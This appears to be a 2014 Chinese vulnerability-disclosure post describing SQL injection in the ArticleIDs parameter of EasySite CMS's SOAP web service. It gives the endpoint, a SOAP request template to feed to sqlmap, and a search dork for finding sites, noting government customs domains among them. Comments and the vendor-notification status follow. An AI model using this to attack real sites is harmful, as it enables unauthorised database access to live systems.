easysite内容管理系统某简单粗暴的SQL注入

1.soap注入

easysite webservice 文件：

http://**.**.**.**/DesktopModules/C_Info/WebService/C_InfoService.asmx

2.ArticleIDs参数存在SQL注入漏洞

随便找个放sqlmap里跑吧

POST /DesktopModules/C_Info/WebService/C_InfoService.asmx HTTP/1.1
 Host: **.**.**.**
 Content-Type: text/xml; charset=utf-8
 Content-Length: length
 SOAPAction: "http://**.**.**.**/GetArticleHitsArray"
 
 <?xml version="1.0" encoding="utf-8"?>
 <soap:Envelope xmlns:xsi="http://**.**.**.**/2001/XMLSchema-instance" xmlns:xsd="http://**.**.**.**/2001/XMLSchema" xmlns:soap="http://**.**.**.**/soap/envelope/">
   <soap:Body>
     <GetArticleHitsArray xmlns="http://**.**.**.**/">
       <ArticleIDs>string</ArticleIDs>
     </GetArticleHitsArray>
   </soap:Body>
 </soap:Envelope>

如果你不知道谁在用easysite，那就google（If you can open it）下把：

inurl:asmx DesktopModules

（海关总署N个域名都是这套系统）

GOV 网站，不求RANK，别跨省就行。

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2014-07-27 09:58

厂商回复：

最新状态：

2014-07-28：补充一下处置情况，由CNVD通过公开联系渠道向软件生产厂商——中联汇联公司通报，同时转由CNCERT发给对应的分中心以及北京市信息化主管部门处置。

1. 2014-07-27 19:36 | loli ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

   0

   @疯狗 这也是小厂商嘛

   1# 回复此人

2. 2014-07-28 12:05 | 疯狗 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞，心中自然无码。)

   0

   @loli update

   2# 回复此人

3. 2014-07-28 13:57 | loli ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

   0

   @疯狗 感谢！~

   3# 回复此人

4. 2014-10-20 18:18 | Enjoy_Hacking ( 实习白帽子 | Rank:84 漏洞数:8 | 时间无言，如此这般。)

   0

   客户网站测试无效，提示 未将对象引用设置到对象的实例。

   4# 回复此人